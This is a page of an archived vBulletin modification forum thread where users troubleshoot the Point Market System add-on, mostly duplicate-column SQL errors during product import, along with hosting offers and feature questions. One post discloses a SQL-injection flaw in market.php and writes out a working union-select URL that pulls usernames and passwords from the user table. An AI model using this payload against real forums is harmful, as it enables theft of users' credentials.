vb.org Archive - Major Additions - Point Market System 3.1x

Page 45 of 56

« First

Last »

Show 40 post(s) from this thread on one page

vb.org Archive (https://vborg.vbsupport.ru/index.php)

- Modification Graveyard (https://vborg.vbsupport.ru/forumdisplay.php?f=224)

- - Major Additions - Point Market System 3.1x (https://vborg.vbsupport.ru/showthread.php?t=232676)

TheMayhem

04-06-2011 03:54 AM

I kind of ran into a problem this week. My host unexpectly dumped me this week so I really have no dedicated server to use my testing forum and developmental forum for the Point Market to continue to work on creating new features and fixing your bugs. :( Not sure what to do since I am definately cash strapped and I definately can't program this modification without having a server to do it on.

RMonster

04-06-2011 04:50 AM

How much disk space and bandwidth you need man?

Quote:

Originally Posted by TheMayhem (Post 2181428)

guest9

04-06-2011 08:26 PM

Quote:

Originally Posted by Webrunner (Post 2180742)

I am getting a database error:

Code:

Database error in vBulletin 4.1.2:



Invalid SQL:

ALTER TABLE market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_3`;



MySQL Error   : Duplicate column name 'image_big_3'

Error Number  : 1060

Request Date  : Monday, April 4th 2011 @ 04:19:11 PM

Error Date    : Monday, April 4th 2011 @ 04:19:16 PM

Script        : http://vrouwenpower.nl/forum/admincp/plugin.php?do=productimport

Referrer      : http://vrouwenpower.nl/forum/admincp/plugin.php?do=productadd

IP Address    : 92.65.36.252

Username      : 

Classname     : vB_Database

I looked at the XML and it is trying to create the same column twice in line 1994 i believe (i'm no expert:p)

same db issue :(

guest9

04-06-2011 09:37 PM

Quote:

Originally Posted by guest9 (Post 2181666)

same db issue :(

Ok this is how I solved the issue

0. Dropped the tables/database which was created on my first attempt of the importing the xml file (starts with the market_)
1. Downloaded the latest version & uploaded the files except the xml
2. Downloaded version 3.1.0 beta 2.zip and imported this version of xml
3. Now I have imported the latest version xml file by setting the overwrite to "Yes".
Success! :D

TheMayhem

04-07-2011 01:27 AM

Or you could just edit the product file and take:

ALTER TABLE market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_3`;

And make it

ALTER TABLE market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_2`;

Save and done ;) I can't confirm if it'll work but I'm 99% sure it will ;)

smirkley

04-07-2011 02:07 AM

Quote:

Originally Posted by RMonster (Post 2181442)

How much disk space and bandwidth you need man?

Ditto MH. I have extra bandwidth if needed if one were inclined. ;)

Two things,..

1 - This guy needs some server space. One of the best mods out here and very dedicated support, no? I can step up for the purpose of dev on this mod Mayhem. PM me if interested.

2 - I think it's way past time that some of us (ones that can of course), step up and donate. We have to recognise the efforts in this mod. It isnt just a small tweak or little xml file. Just saying.
(5, 10 bucks here and there is way worth it imho for those that use this product and would him alot help I am sure.)

guest9

04-07-2011 05:58 PM

Quote:

Originally Posted by TheMayhem (Post 2181759)

how can i disable 3.1.0 Beta 3 from Point Market Information sidebar?

thanks

Chase

04-07-2011 06:18 PM

Very intriguing mod...

I am a bit confused... I am using vbcredits deluxe II on my 3.8.4 forum... do I need to use vbcredits in order to use this mod?

In other words, the point market system does not already have a built in point system so including vbcredits (and it's credit field) works with this mod?

mikeylikesitz

04-07-2011 06:25 PM

@Chase, you are correct

TheMayhem

04-07-2011 07:12 PM

Quote:

Originally Posted by guest9 (Post 2182044)

how can i disable 3.1.0 Beta 3 from Point Market Information sidebar?

thanks

Just edit the MARKET template and remove the table row for the Market Information Version.

guest9

04-07-2011 08:48 PM

Quote:

Originally Posted by TheMayhem (Post 2182063)

Just edit the MARKET template and remove the table row for the Market Information Version.

thanks for the quick reply mate
deleted from from three template (market, market_bank & market_convert) and it's gone

i could not find which row to remove from the db (can u please tell me which row from which table?)

I believe you should remove that from that area in your next update as it is not something the end user would be interested in :)

thanks in advance

rob01

04-08-2011 03:50 AM

still having db issues

only the guest solution is working :S

tandalier

04-08-2011 08:03 AM

so i checked the xml and here's the solution - maybe you can change it in the download.

you must change one part in the product-pointmarket.xml

change

Quote:

$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_2`");
print "3.1.0: Updating Market Store Table... Adding `image_big_3` column";
$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_3`");
print "3.1.0: Updating Market Store Table... Adding `image_big_4` column";
$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_4`");
print "3.1.0: Updating Market Store Table... Adding `image_big_5` column";

Quote:

$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_2`");
print "3.1.0: Updating Market Store Table... Adding `image_big_3` column";
$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_4` INT( 12 ) NOT NULL AFTER `image_big_3`");
print "3.1.0: Updating Market Store Table... Adding `image_big_4` column";
$db->query_write("ALTER TABLE " . TABLE_PREFIX . "market_store ADD `image_big_5` INT( 12 ) NOT NULL AFTER `image_big_4`");
print "3.1.0: Updating Market Store Table... Adding `image_big_5` column";

Staxed

04-08-2011 08:53 PM

1 Attachment(s)

for anyone that doesn't want to edit the file themselves, here's an updated product

tandalier

04-09-2011 07:10 AM

don't know why, but I can't see the store-items. i made a category and a store item, but still can't see it in my point market.

Staxed

04-09-2011 11:24 AM

Quote:

Originally Posted by tandalier (Post 2182538)

don't know why, but I can't see the store-items. i made a category and a store item, but still can't see it in my point market.

do you have store items enables in the settings? I think it was off by default when I installed it yesterday, not 100% sure though.

tandalier

04-10-2011 11:52 AM

ok, this was the problem - thank you for the help...

madshark

04-10-2011 12:52 PM

I got the big_3 database error. And I did make the edits once I fugured out what was wrong then ran into error :

Code:

Invalid SQL:

ALTER TABLE vb_market_items CHANGE `marketid` `mid` INT( 10 ) UNSIGNED NOT NULL AUTO_INCREMENT;



MySQL Error   : Duplicate column name 'mid'

Error Number  : 1060

Please advice? Thanks

Staxed

04-10-2011 01:28 PM

Quote:

Originally Posted by madshark (Post 2182972)

I got the big_3 database error. And I did make the edits once I fugured out what was wrong then ran into error :

Code:

Invalid SQL:

ALTER TABLE vb_market_items CHANGE `marketid` `mid` INT( 10 ) UNSIGNED NOT NULL AUTO_INCREMENT;



MySQL Error   : Duplicate column name 'mid'

Error Number  : 1060

Please advice? Thanks

you might want to go into your database and delete all the market tables, the reimport the product you edited, that should fix it as long as you did the edits correctly.

high6

04-10-2011 04:17 PM

Is there a reason you need at least 1 primary point to access the market? Even if you can't buy anything you should still be able to browse. Also this is really a pain when you have 2 types of points. As I have points that are free through xperience and points that you buy.

Staxed

04-10-2011 05:06 PM

Has anyone had an issue with the market not writing winnings to the points field in the database?

I just set everything up yesterday and was testing it out today. I realized that if I manually award points to someone from the ACP, or if I use the gambling area and play the 'higher number' game and win...no points are added to the users account.

I know the setting is set correctly for the point field in options, because the balance shows the correct number, and goes down when gambling...it just doesn't go up when I win, or give manual points...

madkidz

04-10-2011 08:07 PM

Hi, this maybe stupid but can members use paypal to buy points withi this system?

madshark

04-11-2011 03:22 PM

Quote:

Originally Posted by Staxed (Post 2182983)

you might want to go into your database and delete all the market tables, the reimport the product you edited, that should fix it as long as you did the edits correctly.

Thank You that worked :)

I have vbexperience running as well I'm a little confused of the integration between the two how do exactly do I integrate the two? thanks.

appleballs

04-13-2011 05:16 PM

Quote:

Originally Posted by Staxed (Post 2182428)

for anyone that doesn't want to edit the file themselves, here's an updated product

I just installed Point Market System. I'm getting the following error when I try to edit a store item:

Quote:

Invalid SQL:

UPDATE market_store SET
`name` = 'Target Gift Card',
`amount1` = '200',
`amount2` = '0',
`iscategory` = '0',
`parentid` = '1',
`payment` = '4',
`type` = '0',
`quantity_total` = '0',
`order` = '0',
`description` = '',
`instructions` = '',
`image_small` = '',
`image_big` = '',
`active` = '1'
where marketid='2';

MySQL Error : Unknown column 'image_big' in 'field list'

The 'market_store' table looks like this:

Quote:

So the field 'image_big' does not exist in the table. What's the best way to fix this?

Staxed

04-13-2011 05:36 PM

did you upload the product I attached after you had already tried the one that came with the package?

If so, you need to go into your database and delete all the market tables and then reupload the product I attached

I'm at work right now, but I'll look at the code when I get home and see if there was something else missing that might be needed. I haven't actually tried to install a new item with mine at all so haven't seen that error.

appleballs

04-13-2011 06:18 PM

I first installed the product using the xml file from the original package, which fails because of the 'big_image_1' error. I then deleted all the market tables, uploaded your xml file and then did the install again (which worked). I was able to create a store item and store category. When I tried to edit these items I got the sql error.

appleballs

04-14-2011 05:30 PM

Any luck with this issue?

appleballs

04-15-2011 11:14 AM

For now I made the following changes to make this work:

admin/market_store.php line 381 I added:

PHP Code:


		
			
`image_big_1` = '" . $db->escape_string($vbulletin->GPC['image_big']) . "',

and added a new field to the 'market_store' table:

alter table market_store add column image_big varchar(150) not null;

Will this work? I am now able to edit store items but are there other issues to consider?

Sai01

04-16-2011 05:08 AM

I get database error when trying to upload the plugin product-pointmarket.xml

My vbulletin version is 4.1.3

any idea?

high6

04-16-2011 07:23 AM

*sighs* This doesn't even surprise me anymore.
http://www.exploit-db.com/exploits/17141/

You forgot quotes around the input. You can use this exploit to get users passwords/salt.

Code:

http://www.forum.com/market.php?do=cat&id=1+union+select+1,2,username,4,5,6,7,password,9,10,11,12,13,14,15,16,17+FROM+user+LIMIT+0,10--

DonosOdD

04-16-2011 01:58 PM

I have a question.

I want to delete a purchase one of my users made...how can I do that?

stamos2003

04-16-2011 02:48 PM

Quote:

Originally Posted by DonosOdD (Post 2185278)

I have a question.

I want to delete a purchase one of my users made...how can I do that?

admin c/p ---> search user and change the options

TheMayhem

04-16-2011 10:31 PM

Hey everyone,

Just checking in. I see there's a few issues related to database tables currently with Beta 3. I plan on addressing that with a quick beta 4 release in the next few days just to offset any issues associated. As everyone knows I'm graduating college this month (finally). I haven't been able to get on quite as much as normal because the end of the semester projects they have had me doing is off the charts crazy. Nonetheless, I'll get an updated beta out in the next few days that simply addresses the database/table/sql errors that you were experiencing from changes with beta 3.

Sai01

04-17-2011 06:55 AM

thank you for your hard work!

Webrunner

04-17-2011 06:33 PM

Hi,
I will have two servers available in a week or so. If you want i can donate one of them for this project. (just the server, not the hosting, i can arrange for hosting if you want or maybe someone else wants to help you with that)

They are about 4 years old but still running perfectly (i hosted my 4million page-views a month forum on them)

Also i have a few questions which i can't seem to figure out:

1. How do i add font faces to a product that changes for instance the post font face?
2. When i purchase a topic color it shows me a drop-down with colors. Also it states me to enter a topic ID to identify the topic that needs to be colored. But there is no field to enter a topic ID.
What am idoing wrong?

Skyrider

04-18-2011 08:40 AM

Same SQL errors when trying to add the plugin. Can't wait for Beta 4 for the fix! :D

geckoz

04-18-2011 09:48 AM

Can anyone provide a German translation of the latest version???

eddied316

04-18-2011 08:59 PM

How do users post items?

Also, I have setup a test item...Say I want to sell a link...where would I put it, so they can receive it once ordering.

djdog

04-19-2011 07:45 AM

Running vBulletin 4.0.1

Recieving this error on product import:

Code:

Database error in vBulletin 4.0.1:



Invalid SQL:

ALTER TABLE market_items CHANGE `marketid` `mid` INT( 10 ) UNSIGNED NOT NULL AUTO_INCREMENT;



MySQL Error   : Duplicate column name 'mid'

Error Number  : 1060

Request Date  : Monday, April 18th 2011 @ 11:09:54 PM

Error Date    : Monday, April 18th 2011 @ 11:09:55 PM

Classname     : vB_Database

MySQL Version : 5.0.91-community-log

Completed removed market_ tables and attempted to install again and recieved the following error.

Code:

Database error in vBulletin 4.0.1:



Invalid SQL:

ALTER TABLE market_store ADD `image_big_3` INT( 12 ) NOT NULL AFTER `image_big_3`;



MySQL Error   : Duplicate column name 'image_big_3'

Error Number  : 1060

Request Date  : Wednesday, April 20th 2011 @ 02:10:08 AM

Error Date    : Wednesday, April 20th 2011 @ 02:10:09 AM

Script        : http://hostedtalk.com/admincp/plugin.php?do=productimport

Referrer      : http://hostedtalk.com/admincp/plugin.php?do=productadd

IP Address    : 99.35.212.62

Username      : Cory

Classname     : vB_Database

MySQL Version : 5.0.91-community-log

Old Error isn't relevant anymore as I've removed the tables one more time manually and attempted to install and I get the same error; so this could be duplicated.

I'm running uCash.

netpants

04-20-2011 04:13 AM

I am running 4.1.3 vB. when I click on purchase to purchase anything all I get is a white page. Any help would be appreciated.

All times are GMT. The time now is 12:21 AM.

Page 45 of 56

« First

Last »

Show 40 post(s) from this thread on one page

X vBulletin 3.8.12 by vBS Debug Information
Page Generation 0.03805 seconds Memory Usage 1,856KB Queries Executed 10 (?)
More Information
Template Usage: (1)ad_footer_end (1)ad_footer_start (1)ad_header_end (1)ad_header_logo (1)ad_navbar_below (6)bbcode_code_printable (1)bbcode_php_printable (16)bbcode_quote_printable (1)footer (1)gobutton (1)header (1)headinclude (6)option (1)pagenav (1)pagenav_curpage (4)pagenav_pagelink (2)pagenav_pagelinkrel (1)post_thanks_navbar_search (1)printthread (40)printthreadbit (1)spacer_close (1)spacer_open Phrase Groups Available: global postbit showthread	Included Files: ./printthread.php ./global.php ./includes/init.php ./includes/class_core.php ./includes/config.php ./includes/functions.php ./includes/class_hook.php ./includes/modsystem_functions.php ./includes/class_bbcode_alt.php ./includes/class_bbcode.php ./includes/functions_bigthree.php Hooks Called: init_startup init_startup_session_setup_start init_startup_session_setup_complete cache_permissions fetch_threadinfo_query fetch_threadinfo fetch_foruminfo style_fetch cache_templates global_start parse_templates global_setup_complete printthread_start pagenav_page pagenav_complete bbcode_fetch_tags bbcode_create bbcode_parse_start bbcode_parse_complete_precache bbcode_parse_complete printthread_post printthread_complete
Messages: